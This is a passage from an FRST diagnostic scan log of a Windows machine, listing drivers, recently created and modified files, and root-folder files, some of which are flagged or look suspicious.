R3 AMDSAFD; C:\Windows\System32\DriverStore\FileRepository\amdsafd.inf_amd64_d4de13a10f2586d0\amdsafd.sys [112952 2024-06-15] (AMD Test Build -> Advanced Micro Devices)
R3 amduw23g; C:\Windows\System32\DriverStore\FileRepository\u0409016.inf_amd64_2b8774c9217183cc\B408421\amdkmdag.sys [110869920 2024-10-31] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
R1 Asusgio3; C:\Windows\system32\drivers\AsIO3.sys [49256 2022-08-15] (ASUSTeK COMPUTER INC. -> )
S3 BthA2dp; C:\Windows\System32\drivers\BthA2dp.sys [532480 2023-05-05] (Microsoft Corporation) [File not signed]
S3 BthHFEnum; C:\Windows\System32\drivers\bthhfenum.sys [184320 2023-05-05] (Microsoft Corporation) [File not signed]
S3 BTHMODEM; C:\Windows\System32\drivers\bthmodem.sys [106496 2022-05-07] (Microsoft Corporation) [File not signed]
R2 hardlock; C:\Windows\system32\drivers\hardlock.sys [1970104 2021-07-07] (Gemalto, Inc. -> SafeNet, Inc.)
R3 KslD; C:\Windows\System32\drivers\wd\KslD.sys [82312 2026-05-20] (Microsoft Windows -> Microsoft Corporation)
R1 MSIO; C:\Windows\system32\drivers\MsIo64.sys [19000 2023-04-05] (Microsoft Windows Hardware Compatibility Publisher -> MICSYS Technology Co., LTd)
R3 rtcx21; C:\Windows\System32\DriverStore\FileRepository\rtcx21x64.inf_amd64_516e5c9b75c49dc2\rtcx21x64.sys [539648 2022-05-06] (Microsoft Windows -> Realtek)
S4 WdAiNisDrv; C:\Windows\System32\drivers\wd\WdAiNisDrv.sys [50568 2026-07-08] (Microsoft Windows -> Microsoft Corporation)
S0 WdBoot; C:\Windows\System32\drivers\wd\WdBoot.sys [21928 2026-07-08] (Microsoft Windows Early Launch Anti-malware Publisher -> Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\wd\WdFilter.sys [616880 2026-07-08] (Microsoft Windows -> Microsoft Corporation)
R3 WdNisDrv; C:\Windows\System32\drivers\wd\WdNisDrv.sys [110984 2026-07-08] (Microsoft Windows -> Microsoft Corporation)
S3 cpuz157; \??\C:\Windows\temp\cpuz157\cpuz157_x64.sys (No File) <==== ATTENTION

==================== SvcHost (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


==================== One month (created) (Whitelisted) =========

(If an entry is included in the fixlist, the file/folder will be moved.)

2026-07-20 16:05 - 2026-07-20 16:06 - 000028781 _____ C:\Users\miros\Downloads\FRST.txt
2026-07-20 16:05 - 2026-07-20 16:06 - 000000000 ____D C:\FRST
2026-07-20 16:04 - 2026-07-20 16:04 - 002450944 _____ (Farbar) C:\Users\miros\Downloads\FRST64.exe
2026-07-20 15:54 - 2026-07-20 15:54 - 000000000 ____D C:\Users\miros\AppData\Roaming\Volume2
2026-07-20 07:14 - 2026-07-20 07:14 - 000000000 _____ C:\ProgramData\oko
2026-07-19 06:46 - 2026-07-19 06:46 - 000004042 _____ C:\Windows\system32\Tasks\PostponeDeviceSetupToast_S-1-5-21-2346025591-3721102785-1987179807-1001_18
2026-07-17 14:30 - 2026-07-17 14:30 - 000725758 _____ C:\Windows\system32\perfh005.dat
2026-07-17 14:30 - 2026-07-17 14:30 - 000151026 _____ C:\Windows\system32\perfc005.dat
2026-07-14 23:22 - 2026-07-15 20:29 - 000000000 ____D C:\Program Files\Mozilla Firefox
2026-07-06 14:24 - 2026-07-19 16:30 - 000004084 _____ C:\Windows\system32\Tasks\Apple Sync
2026-06-27 09:00 - 2026-06-27 09:00 - 000066921 _____ C:\Users\miros\Downloads\Clarkson's.Farm.S05E04.Updating.8bit.h264.EAC3.5.1.WEBDL-1080p.EDITH.srt
2026-06-27 08:46 - 2026-06-27 09:44 - 3978198202 _____ C:\Users\miros\Downloads\Clarkson's.Farm.S05E04.Updating.8bit.h264.EAC3.5.1.WEBDL-1080p.EDITH.mkv
2026-06-27 08:43 - 2026-06-27 09:07 - 000000000 ____D C:\Program Files (x86)\FastShare
2026-06-27 08:43 - 2026-06-27 08:43 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\FastShare
2026-06-27 08:42 - 2026-06-27 08:42 - 009343497 _____ C:\Users\miros\Downloads\FastShare_v2.4.0.exe.zip
2026-06-25 22:13 - 2026-06-25 22:13 - 000061561 _____ C:\Users\miros\Downloads\798193_ZPMZ_00155_popispole.pdf
2026-06-25 06:07 - 2026-06-25 06:07 - 000000223 _____ C:\Users\miros\Desktop\Stronghold 4 Demo.url
2026-06-23 10:57 - 2026-06-23 10:57 - 000149235 _____ C:\Users\miros\Downloads\protokol strejckova - FINÁLNÍ KOMPLETNÍ PROTOKOL.pdf

==================== One month (modified) ==================

(If an entry is included in the fixlist, the file/folder will be moved.)

2026-07-20 16:06 - 2023-11-09 23:19 - 000000000 ____D C:\Program Files (x86)\Steam
2026-07-20 16:06 - 2022-05-07 07:24 - 000000000 ____D C:\Windows\SystemTemp
2026-07-20 16:04 - 2026-04-15 22:10 - 000000000 ____D C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38
2026-07-20 16:03 - 2022-05-07 07:24 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
2026-07-20 16:02 - 2023-09-04 03:56 - 000000000 ____D C:\Windows\system32\SleepStudy
2026-07-20 15:57 - 2023-09-03 22:16 - 000000000 ___HD C:\Users\miros\.ssh
2026-07-20 15:54 - 2025-11-21 21:45 - 020390829 _____ C:\Users\miros\AppData\Roaming\volume2.zip
2026-07-20 15:04 - 2022-05-07 07:24 - 000000000 ___HD C:\Program Files\WindowsApps
2026-07-20 15:04 - 2022-05-07 07:24 - 000000000 ____D C:\Windows\AppReadiness
2026-07-20 07:37 - 2023-10-28 08:26 - 000000000 ____D C:\Users\miros\AppData\Local\D3DSCache
2026-07-20 07:30 - 2025-09-05 08:49 - 000004208 _____ C:\Windows\system32\Tasks\OneDrive Reporting
2026-07-20 07:07 - 2023-09-03 22:12 - 000000000 ___RD C:\Users\miros\OneDrive
2026-07-19 22:25 - 2023-09-04 10:40 - 000000000 ____D C:\Gdata
2026-07-19 22:01 - 2023-09-04 03:56 - 000002436 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk
2026-07-19 22:01 - 2023-09-04 03:56 - 000002274 _____ C:\Users\Public\Desktop\Microsoft Edge.lnk
2026-07-19 15:09 - 2023-09-03 22:21 - 000000034 _____ C:\ProgramData\hwid.dat
2026-07-19 14:02 - 2023-09-03 22:08 - 000000000 ____D C:\Users\miros
2026-07-19 12:39 - 2026-02-10 21:28 - 000134013 _____ C:\Users\miros\AppData\Roaming\gjmignimbakkmjdmjpgghpmikmlpfjgi.crx
2026-07-19 07:23 - 2025-09-25 21:37 - 000004084 _____ C:\Windows\system32\Tasks\GoogleUpdaterTask
2026-07-19 07:01 - 2025-08-06 16:40 - 000000004 _____ C:\ProgramData\oko_ver
2026-07-18 09:27 - 2023-09-04 03:56 - 000003638 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineUA
2026-07-18 09:27 - 2023-09-04 03:56 - 000003512 _____ C:\Windows\system32\Tasks\MicrosoftEdgeUpdateTaskMachineCore
2026-07-17 21:12 - 2023-09-03 22:14 - 000002364 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Brave.lnk
2026-07-17 21:12 - 2023-09-03 22:14 - 000002323 _____ C:\Users\Public\Desktop\Brave.lnk
2026-07-17 15:06 - 2023-09-03 22:13 - 000004354 _____ C:\Windows\system32\Tasks\GDrive Backup Sync
2026-07-17 14:30 - 2023-09-03 22:09 - 001718036 _____ C:\Windows\system32\PerfStringBackup.INI
2026-07-17 14:30 - 2022-05-07 07:22 - 000000000 ____D C:\Windows\INF
2026-07-17 14:23 - 2023-09-04 03:56 - 000901328 _____ () C:\Windows\system32\wpbbin.exe
2026-07-17 14:23 - 2023-09-04 03:56 - 000845256 _____ C:\Windows\system32\AsusUpdateCheck.exe
2026-07-17 14:23 - 2023-09-04 03:56 - 000012288 ___SH C:\DumpStack.log.tmp
2026-07-17 14:23 - 2023-09-04 03:56 - 000000006 ____H C:\Windows\Tasks\SA.DAT
2026-07-15 20:29 - 2026-04-15 22:10 - 000000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2026-07-15 20:29 - 2023-09-05 19:13 - 000000000 ____D C:\Hry
2026-07-15 17:05 - 2026-04-15 22:10 - 000001073 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2026-07-15 17:05 - 2023-09-05 18:06 - 000000000 ____D C:\Windows\system32\MRT
2026-07-15 17:04 - 2023-09-05 18:05 - 228534800 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2026-07-14 23:22 - 2026-04-15 22:10 - 000392320 _____ (Mozilla Foundation) C:\Users\miros\Desktop\Firefox.exe
2026-07-11 21:54 - 2025-02-05 22:18 - 000003576 _____ C:\Windows\system32\Tasks\OneDrive Startup Task-S-1-5-21-2346025591-3721102785-1987179807-1001
2026-07-11 21:54 - 2023-09-03 22:12 - 000003592 _____ C:\Windows\system32\Tasks\OneDrive Reporting Task-S-1-5-21-2346025591-3721102785-1987179807-1001
2026-07-11 21:54 - 2023-09-03 22:12 - 000003360 _____ C:\Windows\system32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2346025591-3721102785-1987179807-1001
2026-07-11 21:54 - 2023-09-03 22:12 - 000002383 _____ C:\Users\miros\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
2026-07-09 23:44 - 2023-09-14 23:00 - 000000093 _____ C:\Users\miros\Desktop\Plánky Tom.txt
2026-07-09 23:40 - 2023-09-14 22:59 - 000000291 _____ C:\Users\miros\Desktop\Plánky Stasio.txt
2026-07-08 23:57 - 2024-07-02 23:49 - 000000000 ____D C:\Users\miros\Desktop\Přenos fotografií
2026-07-08 09:38 - 2023-09-04 03:56 - 000000000 ____D C:\Windows\system32\Drivers\wd
2026-07-06 23:13 - 2022-05-07 12:13 - 000000000 ____D C:\ProgramData\ssh
2026-07-06 23:12 - 2022-05-07 07:17 - 000786432 _____ C:\Windows\system32\config\BBI
2026-07-05 21:08 - 2025-12-27 20:44 - 000000000 ____D C:\Users\miros\AppData\Local\CrashDumps
2026-07-05 21:08 - 2024-11-13 18:03 - 000000000 ____D C:\Users\miros\AppData\Local\GIANTS Crash Reporter
2026-07-03 23:10 - 2023-10-24 22:13 - 000000000 ____D C:\Users\miros\AppData\Roaming\Exodus
2026-07-03 14:38 - 2026-04-01 15:08 - 000000000 ____D C:\ProgramData\CanonIJPLM
2026-06-30 10:17 - 2023-11-10 09:37 - 000000000 ____D C:\Users\miros\AppData\Local\Steam
2026-06-26 09:48 - 2023-10-01 09:13 - 000000000 ____D C:\Program Files\HPPrintScanDoctor
2026-06-26 09:47 - 2023-10-01 09:13 - 000000000 ____D C:\Windows\system32\Tasks\HP
2026-06-25 07:05 - 2026-05-05 06:34 - 027419017 _____ C:\Users\miros\Downloads\ee45f147d0d27be22c651d36905065044d4bd0b5.pdf
2026-06-21 23:59 - 2023-09-04 03:57 - 000000000 ____D C:\ProgramData\Packages
2026-06-21 23:59 - 2023-09-03 22:10 - 000000000 ____D C:\Users\miros\AppData\Local\Packages
2026-06-20 16:39 - 2024-10-09 20:29 - 001351680 _____ (Microsoft Corporation) C:\Windows\system32\termsrv.dll
2026-06-20 16:39 - 2023-09-04 10:55 - 001351680 _____ (Microsoft Corporation) C:\Windows\system32\termsrv.dll.copy
2026-06-20 09:27 - 2023-09-03 22:46 - 000000000 ____D C:\Users\miros\AppData\Roaming\QTUpdate

==================== Files in the root of some directories ========

2023-09-03 22:21 - 2026-07-19 15:09 - 000000034 _____ () C:\ProgramData\hwid.dat
2023-09-03 22:27 - 2024-04-10 22:10 - 000833472 _____ (Sysinternals - www.sysinternals.com) C:\Users\miros\PsExec.exe
2024-06-25 22:00 - 2024-06-25 22:00 - 000277504 _____ () C:\Users\miros\AppData\Roaming\74252_31999_BrwExt.exe
2026-02-10 21:28 - 2026-07-19 12:39 - 000134013 _____ () C:\Users\miros\AppData\Roaming\gjmignimbakkmjdmjpgghpmikmlpfjgi.crx
2023-09-03 22:13 - 2023-09-03 22:13 - 000000032 _____ () C:\Users\miros\AppData\Roaming\hwid.dat
2026-01-01 17:55 - 2026-04-17 12:48 - 000006046 _____ () C:\Users\miros\AppData\Roaming\plugin_scan_state_VST2_x32.scan
2026-01-01 17:55 - 2026-04-17 12:48 - 000006046 _____ () C:\Users\miros\AppData\Roaming\plugin_scan_state_VST2_x64.scan
2026-01-01 17:55 - 2026-04-17 12:48 - 000000191 _____ () C:\Users\miros\AppData\Roaming\plugin_scan_state_VST3_x32.scan
2026-01-01 17:55 - 2026-04-17 12:48 - 000000501 _____ () C:\Users\miros\AppData\Roaming\plugin_scan_state_VST3_x64.scan
2025-11-21 21:45 - 2026-07-20 15:54 - 020390829 _____ () C:\Users\miros\AppData\Roaming\volume2.zip

==================== SigCheck ============================

(There is no automatic fix for files that do not pass verification.)

==================== End of FRST.txt ========================